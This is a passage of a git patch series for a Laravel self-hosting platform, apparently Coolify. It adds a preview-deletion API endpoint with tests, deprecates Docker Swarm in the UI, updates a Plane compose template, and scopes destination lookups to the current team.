response()->json(['message' => 'Invalid pull_request_id.'], 422); + } + $pullRequestId = (int) $pullRequestIdRaw; + + $preview = ApplicationPreview::where('application_id', $application->id) + ->where('pull_request_id', $pullRequestId) + ->first(); + + if (! $preview) { + return response()->json(['message' => 'Preview not found.'], 404); + } + + $preview->delete(); + CleanupPreviewDeployment::run($application, $pullRequestId, $preview); + + return response()->json(['message' => 'Preview deletion request queued.']); + } } diff --git a/openapi.json b/openapi.json index e4e03c99d..d83b30d80 100644 --- a/openapi.json +++ b/openapi.json @@ -3788,6 +3788,70 @@ ] } }, + "\/applications\/{uuid}\/previews\/{pull_request_id}": { + "delete": { + "tags": [ + "Applications" + ], + "summary": "Delete Preview Deployment", + "description": "Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes\/networks, and deletes the preview record.", + "operationId": "delete-preview-deployment-by-pull-request-id", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "pull_request_id", + "in": "path", + "description": "Pull request ID of the preview to delete.", + "required": true, + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "Preview deletion queued.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index f2761de59..aab408098 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2398,6 +2398,48 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/previews/{pull_request_id}': + delete: + tags: + - Applications + summary: 'Delete Preview Deployment' + description: 'Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes/networks, and deletes the preview record.' + operationId: delete-preview-deployment-by-pull-request-id + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: pull_request_id + in: path + description: 'Pull request ID of the preview to delete.' + required: true + schema: + type: integer + responses: + '200': + description: 'Preview deletion queued.' + content: + application/json: + schema: + properties: + message: { type: string } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: diff --git a/routes/api.php b/routes/api.php index 0d3edcced..6d48fbe74 100644 --- a/routes/api.php +++ b/routes/api.php @@ -129,6 +129,8 @@ Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']); + Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:write']); + Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); Route::patch('/github-apps/{github_app_id}', [GithubController::class, 'update_github_app'])->middleware(['api.ability:write']); @@ -218,7 +220,7 @@ try { $decrypted = decrypt($naked_token); $decrypted_token = json_decode($decrypted, true); - } catch (\Exception $e) { + } catch (Exception $e) { return response()->json(['message' => 'Invalid token'], 401); } $server_uuid = data_get($decrypted_token, 'server_uuid'); diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php new file mode 100644 index 000000000..bc405d48b --- /dev/null +++ b/tests/Feature/ApplicationPreviewApiTest.php @@ -0,0 +1,132 @@ + InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->bearerToken = createTeamApiToken($this->user, $this->team, ['*']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + CleanupPreviewDeployment::shouldRun()->andReturn([ + 'cancelled_deployments' => 0, + 'killed_containers' => 0, + 'status' => 'success', + ]); +}); + +function previewAuthHeaders(string $bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +function createTeamApiToken(User $user, Team $team, array $abilities): string +{ + $plainTextToken = Str::random(40); + $token = $user->tokens()->create([ + 'name' => 'test-token-'.Str::random(6), + 'token' => hash('sha256', $plainTextToken), + 'abilities' => $abilities, + 'team_id' => $team->id, + ]); + + return $token->getKey().'|'.$plainTextToken; +} + +function createPreview(Application $application, int $pullRequestId): ApplicationPreview +{ + return ApplicationPreview::create([ + 'uuid' => (string) new Cuid2, + 'application_id' => $application->id, + 'pull_request_id' => $pullRequestId, + 'pull_request_html_url' => "https://github.com/example/repo/pull/{$pullRequestId}", + 'fqdn' => "pr-{$pullRequestId}.example.com", + ]); +} + +describe('DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}', function () { + test('returns 401 when no bearer token provided', function () { + $response = $this->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42"); + + $response->assertUnauthorized(); + }); + + test('returns 404 when application uuid does not exist', function () { + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson('/api/v1/applications/nonexistent-uuid/previews/42'); + + $response->assertNotFound() + ->assertJson(['message' => 'Application not found.']); + }); + + test('returns 404 when preview does not exist for the application', function () { + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/9999"); + + $response->assertNotFound() + ->assertJson(['message' => 'Preview not found.']); + }); + + test('returns 422 when pull_request_id is not a positive integer', function () { + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/0"); + + $response->assertStatus(422) + ->assertJson(['message' => 'Invalid pull_request_id.']); + }); + + test('soft-deletes the preview and returns 200 on success', function () { + $preview = createPreview($this->application, 42); + + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42"); + + $response->assertOk() + ->assertJson(['message' => 'Preview deletion request queued.']); + + expect($preview->fresh()->trashed())->toBeTrue(); + }); + + test('returns 403 when token lacks write ability', function () { + $readOnlyToken = createTeamApiToken($this->user, $this->team, ['read']); + createPreview($this->application, 7); + + $response = $this->withHeaders(previewAuthHeaders($readOnlyToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/7"); + + $response->assertForbidden(); + }); +}); From 340cd70ae5e8651fa35f832b5eaecc78f4abb016 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Fri, 17 Apr 2026 23:29:47 +0200 Subject: [PATCH 032/329] chore(ui): add a deprecated notice component --- resources/views/components/deprecated-badge.blade.php | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 resources/views/components/deprecated-badge.blade.php diff --git a/resources/views/components/deprecated-badge.blade.php b/resources/views/components/deprecated-badge.blade.php new file mode 100644 index 000000000..9a797048d --- /dev/null +++ b/resources/views/components/deprecated-badge.blade.php @@ -0,0 +1,6 @@ +merge(['class' => 'inline-flex items-center']) }}> + + Deprecated + + From 15cb9446ff7c2ec75814f6ed7fbebe3e57262b20 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Fri, 17 Apr 2026 23:28:54 +0200 Subject: [PATCH 033/329] chore(swarm): mark docker swarm as deprecated --- config/deprecations.php | 5 +++++ resources/views/components/server/sidebar.blade.php | 2 +- resources/views/livewire/destination/index.blade.php | 5 ++++- resources/views/livewire/destination/show.blade.php | 4 +++- .../livewire/project/application/configuration.blade.php | 3 ++- .../views/livewire/project/application/swarm.blade.php | 4 ++++ resources/views/livewire/project/new/select.blade.php | 1 + resources/views/livewire/server/swarm.blade.php | 6 +++++- 8 files changed, 25 insertions(+), 5 deletions(-) create mode 100644 config/deprecations.php diff --git a/config/deprecations.php b/config/deprecations.php new file mode 100644 index 000000000..551b562fa --- /dev/null +++ b/config/deprecations.php @@ -0,0 +1,5 @@ + 'Docker Swarm is deprecated and will be removed in Coolify v5. Coolify v5 will be replacing Swarm with native Docker Compose replicas and our own scaling solution. Existing Swarm deployments will continue to work on v4 as-is. We do not recommend setting up new Swarm deployments for the time being.', +]; diff --git a/resources/views/components/server/sidebar.blade.php b/resources/views/components/server/sidebar.blade.php index 2d7649fab..6c62701b8 100644 --- a/resources/views/components/server/sidebar.blade.php +++ b/resources/views/components/server/sidebar.blade.php @@ -41,7 +41,7 @@ @endif @if (!$server->isBuildServer() && !$server->settings->is_cloudflare_tunnel) Swarm (experimental) + href="{{ route('server.swarm', ['server_uuid' => $server->uuid]) }}">Swarm @endif @if (!$server->isLocalhost()) diff --git a/resources/views/livewire/destination/index.blade.php b/resources/views/livewire/destination/index.blade.php index 003f1c5b5..aecd58d7a 100644 --- a/resources/views/livewire/destination/index.blade.php +++ b/resources/views/livewire/destination/index.blade.php @@ -29,7 +29,10 @@
-
{{ $destination->name }}
+
+ {{ $destination->name }} + +
server: {{ $destination->server->name }}
diff --git a/resources/views/livewire/destination/show.blade.php b/resources/views/livewire/destination/show.blade.php index f12388770..27260e920 100644 --- a/resources/views/livewire/destination/show.blade.php +++ b/resources/views/livewire/destination/show.blade.php @@ -16,7 +16,9 @@ @if ($destination->getMorphClass() === 'App\Models\StandaloneDocker')
A simple Docker network.
@else -
A swarm Docker network. WIP
+
A swarm Docker network. + +
@endif
diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 02927b0b4..848c46ff7 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -14,7 +14,8 @@ href="{{ route('project.application.advanced', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Advanced @if ($application->destination->server->isSwarm()) Swarm Configuration + href="{{ route('project.application.swarm', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Swarm + @endif Environment Variables diff --git a/resources/views/livewire/project/application/swarm.blade.php b/resources/views/livewire/project/application/swarm.blade.php index a7da02627..657e029f7 100644 --- a/resources/views/livewire/project/application/swarm.blade.php +++ b/resources/views/livewire/project/application/swarm.blade.php @@ -2,6 +2,7 @@

Swarm Configuration

+ @can('update', $application) Save @@ -13,6 +14,9 @@ @endcan
+ + {{ config('deprecations.swarm') }} +
diff --git a/resources/views/livewire/project/new/select.blade.php b/resources/views/livewire/project/new/select.blade.php index 04c09ede1..c5482d9f7 100644 --- a/resources/views/livewire/project/new/select.blade.php +++ b/resources/views/livewire/project/new/select.blade.php @@ -452,6 +452,7 @@ function searchResources() {
Swarm Docker ({{ $swarmDocker->name }}) +
diff --git a/resources/views/livewire/server/swarm.blade.php b/resources/views/livewire/server/swarm.blade.php index 1d18e2d31..9ce28bbd6 100644 --- a/resources/views/livewire/server/swarm.blade.php +++ b/resources/views/livewire/server/swarm.blade.php @@ -8,8 +8,12 @@
-

Swarm (experimental)

+

Swarm

+
+ + {{ config('deprecations.swarm') }} +
Read the docs here.
From 53b47b0baae2bd33a4a2d5963e10aa102fdec7cd Mon Sep 17 00:00:00 2001 From: DarkMaper Date: Sat, 18 Apr 2026 23:35:37 +0200 Subject: [PATCH 034/329] feat(service): update docker-compose according to the official doc --- templates/compose/plane.yaml | 44 ++++++++++++++++++++++-------------- 1 file changed, 27 insertions(+), 17 deletions(-) diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml index 346b0c664..5dffe0066 100644 --- a/templates/compose/plane.yaml +++ b/templates/compose/plane.yaml @@ -30,6 +30,12 @@ x-aws-s3-env: &aws-s3-env AWS_S3_ENDPOINT_URL: ${AWS_S3_ENDPOINT_URL:-http://plane-minio:9000} AWS_S3_BUCKET_NAME: ${AWS_S3_BUCKET_NAME:-uploads} +x-proxy-env: &proxy-env + APP_DOMAIN: ${SERVICE_URL_PLANE} + FILE_SIZE_LIMIT: ${FILE_SIZE_LIMIT:-5242880} + BUCKET_NAME: ${AWS_S3_BUCKET_NAME:-uploads} + SITE_ADDRESS: ${SITE_ADDRESS:-:80} + x-mq-env: &mq-env # RabbitMQ Settings RABBITMQ_HOST: plane-mq RABBITMQ_PORT: ${RABBITMQ_PORT:-5672} @@ -40,9 +46,10 @@ x-mq-env: &mq-env # RabbitMQ Settings x-live-env: &live-env API_BASE_URL: ${API_BASE_URL:-http://api:8000} + LIVE_SERVER_SECRET_KEY: $SERVICE_PASSWORD_64_LIVESECRET x-app-env: &app-env - APP_RELEASE: ${APP_RELEASE:-v1.0.0} + APP_RELEASE: ${APP_RELEASE:-v1.3.0} WEB_URL: ${SERVICE_URL_PLANE} DEBUG: ${DEBUG:-0} CORS_ALLOWED_ORIGINS: ${CORS_ALLOWED_ORIGINS:-http://localhost} @@ -53,16 +60,20 @@ x-app-env: &app-env AMQP_URL: amqp://${SERVICE_USER_RABBITMQ}:${SERVICE_PASSWORD_RABBITMQ}@plane-mq:${RABBITMQ_PORT:-5672}/plane API_KEY_RATE_LIMIT: ${API_KEY_RATE_LIMIT:-60/minute} MINIO_ENDPOINT_SSL: ${MINIO_ENDPOINT_SSL:-0} + LIVE_SERVER_SECRET_KEY: $SERVICE_PASSWORD_64_LIVESECRET services: proxy: - image: artifacts.plane.so/makeplane/plane-proxy:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-proxy:${APP_RELEASE:-v1.3.0} environment: - SERVICE_URL_PLANE - APP_DOMAIN=${SERVICE_URL_PLANE} - SITE_ADDRESS=:80 - FILE_SIZE_LIMIT=${FILE_SIZE_LIMIT:-5242880} - BUCKET_NAME=${AWS_S3_BUCKET_NAME:-uploads} + volumes: + - proxy_config:/config + - proxy_data:/data depends_on: - web - api @@ -74,8 +85,9 @@ services: interval: 2s timeout: 10s retries: 15 + web: - image: artifacts.plane.so/makeplane/plane-frontend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-frontend:${APP_RELEASE:-v1.3.0} depends_on: - api - worker @@ -86,7 +98,7 @@ services: retries: 15 space: - image: artifacts.plane.so/makeplane/plane-space:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-space:${APP_RELEASE:-v1.3.0} depends_on: - api - worker @@ -98,7 +110,7 @@ services: retries: 15 admin: - image: artifacts.plane.so/makeplane/plane-admin:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-admin:${APP_RELEASE:-v1.3.0} depends_on: - api - web @@ -109,13 +121,12 @@ services: retries: 15 live: - image: artifacts.plane.so/makeplane/plane-live:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-live:${APP_RELEASE:-v1.3.0} environment: <<: [*live-env, *redis-env] depends_on: - api - web - - plane-redis healthcheck: test: ["CMD", "echo", "hey whats up"] interval: 2s @@ -123,12 +134,12 @@ services: retries: 15 api: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} command: ./bin/docker-entrypoint-api.sh volumes: - logs_api:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - plane-db - plane-redis @@ -140,12 +151,12 @@ services: retries: 15 worker: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} command: ./bin/docker-entrypoint-worker.sh volumes: - logs_worker:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - api - plane-db @@ -158,12 +169,12 @@ services: retries: 15 beat-worker: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} command: ./bin/docker-entrypoint-beat.sh volumes: - logs_beat-worker:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - api - plane-db @@ -176,13 +187,13 @@ services: retries: 15 migrator: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} restart: "no" command: ./bin/docker-entrypoint-migrator.sh volumes: - logs_migrator:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - plane-db - plane-redis @@ -202,7 +213,7 @@ services: retries: 10 plane-redis: - image: valkey/valkey:7.2.5-alpine + image: valkey/valkey:7.2.11-alpine volumes: - redisdata:/data healthcheck: @@ -213,7 +224,6 @@ services: plane-mq: image: rabbitmq:3.13.6-management-alpine - restart: always environment: <<: *mq-env volumes: From beeed85e438037300f55ef3ec96595bf22691193 Mon Sep 17 00:00:00 2001 From: DarkMaper Date: Sat, 18 Apr 2026 23:35:59 +0200 Subject: [PATCH 035/329] feat(service): enable plane --- templates/compose/plane.yaml | 1 - 1 file changed, 1 deletion(-) diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml index 5dffe0066..cb9734fe1 100644 --- a/templates/compose/plane.yaml +++ b/templates/compose/plane.yaml @@ -1,4 +1,3 @@ -# ignore: true # documentation: https://docs.plane.so/self-hosting/methods/docker-compose # slogan: The open source project management tool # category: productivity From a478ac66eb7037837c178d64006f83a13eca12d2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 11:52:52 +0200 Subject: [PATCH 036/329] refactor: scope destination and resource lookups by current team Use find_destination_for_current_team helper across resource creation flows and the destination controller. Pass full destination objects to database creation helpers instead of UUIDs so team relationships are resolved consistently before the resource is created or linked. Add feature tests covering destination, backup storage, and resource proof lookups across teams. --- .../Controllers/Api/DatabasesController.php | 16 +- app/Livewire/Destination/Show.php | 16 +- app/Livewire/Project/New/DockerCompose.php | 14 +- app/Livewire/Project/New/DockerImage.php | 11 +- .../Project/New/GithubPrivateRepository.php | 11 +- .../New/GithubPrivateRepositoryDeployKey.php | 11 +- .../Project/New/PublicGitRepository.php | 19 +- app/Livewire/Project/New/SimpleDockerfile.php | 11 +- app/Livewire/Project/Resource/Create.php | 29 +- .../Project/Shared/ResourceOperations.php | 5 +- app/Livewire/Storage/Resources.php | 8 +- app/Models/StandaloneDocker.php | 10 + app/Models/SwarmDocker.php | 10 + bootstrap/helpers/databases.php | 51 ++- bootstrap/helpers/shared.php | 40 +-- tests/Feature/TeamScopedBackupStorageTest.php | 106 +++++++ tests/Feature/TeamScopedDestinationTest.php | 297 ++++++++++++++++++ .../Feature/TeamScopedResourceProofsTest.php | 96 ++++++ 18 files changed, 607 insertions(+), 154 deletions(-) create mode 100644 tests/Feature/TeamScopedBackupStorageTest.php create mode 100644 tests/Feature/TeamScopedDestinationTest.php create mode 100644 tests/Feature/TeamScopedResourceProofsTest.php diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 8e31a7051..f3783696d 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -1766,7 +1766,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('postgres_conf', $postgresConf); } - $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_postgresql($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1821,7 +1821,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mariadb_conf', $mariadbConf); } - $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_mariadb($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1880,7 +1880,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mysql_conf', $mysqlConf); } - $database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_mysql($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1936,7 +1936,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('redis_conf', $redisConf); } - $database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_redis($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1973,7 +1973,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_dragonfly($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2022,7 +2022,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('keydb_conf', $keydbConf); } - $database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_keydb($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2058,7 +2058,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) ], 422); } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_clickhouse($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2116,7 +2116,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mongo_conf', $mongoConf); } - $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_mongodb($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php index f2cdad074..9d55d7462 100644 --- a/app/Livewire/Destination/Show.php +++ b/app/Livewire/Destination/Show.php @@ -2,9 +2,7 @@ namespace App\Livewire\Destination; -use App\Models\Server; use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -29,16 +27,8 @@ class Show extends Component public function mount(string $destination_uuid) { try { - $destination = StandaloneDocker::whereUuid($destination_uuid)->first() ?? - SwarmDocker::whereUuid($destination_uuid)->firstOrFail(); - - $ownedByTeam = Server::ownedByCurrentTeam()->each(function ($server) use ($destination) { - if ($server->standaloneDockers->contains($destination) || $server->swarmDockers->contains($destination)) { - $this->destination = $destination; - $this->syncData(); - } - }); - if ($ownedByTeam === false) { + $destination = find_destination_for_current_team($destination_uuid); + if (! $destination) { return redirect()->route('destination.index'); } $this->destination = $destination; @@ -80,7 +70,7 @@ public function delete() try { $this->authorize('delete', $this->destination); - if ($this->destination->getMorphClass() === \App\Models\StandaloneDocker::class) { + if ($this->destination->getMorphClass() === StandaloneDocker::class) { if ($this->destination->attachedTo()) { return $this->dispatch('error', 'You must delete all resources before deleting this destination.'); } diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 2b92902c6..2cf0659bf 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -5,8 +5,6 @@ use App\Models\EnvironmentVariable; use App\Models\Project; use App\Models\Service; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use Livewire\Component; use Symfony\Component\Yaml\Yaml; @@ -31,7 +29,6 @@ public function mount() public function submit() { - $server_id = $this->query['server_id']; try { $this->validate([ 'dockerComposeRaw' => 'required', @@ -44,20 +41,17 @@ public function submit() $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); $service = Service::create([ 'docker_compose_raw' => $this->dockerComposeRaw, 'environment_id' => $environment->id, - 'server_id' => (int) $server_id, + 'server_id' => $destination->server_id, 'destination_id' => $destination->id, 'destination_type' => $destination_class, ]); diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 268333d07..b89ce2c6a 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -4,8 +4,6 @@ use App\Models\Application; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Services\DockerImageParser; use Livewire\Component; use Visus\Cuid2\Cuid2; @@ -111,13 +109,10 @@ public function submit() $parser = new DockerImageParser; $parser->parse($dockerImage); - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 0222008b0..86e407136 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -5,8 +5,6 @@ use App\Models\Application; use App\Models\GithubApp; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Http; @@ -178,13 +176,10 @@ public function submit() throw new \RuntimeException('Invalid repository data: '.$validator->errors()->first()); } - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index f8642d6fc..5a6f288b3 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -7,8 +7,6 @@ use App\Models\GitlabApp; use App\Models\PrivateKey; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; @@ -130,13 +128,10 @@ public function submit() { $this->validate(); try { - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index dbfa15a55..b350538ac 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -7,8 +7,6 @@ use App\Models\GitlabApp; use App\Models\Project; use App\Models\Service; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; @@ -34,8 +32,6 @@ class PublicGitRepository extends Component public bool $isStatic = false; - public bool $checkCoolifyConfig = true; - public ?string $publish_directory = null; // In case of docker compose @@ -284,16 +280,13 @@ public function submit() throw new \RuntimeException('Invalid branch: '.$branchValidator->errors()->first('git_branch')); } - $destination_uuid = $this->query['destination']; + $destination_uuid = $this->query['destination'] ?? null; $project_uuid = $this->parameters['project_uuid']; $environment_uuid = $this->parameters['environment_uuid']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } 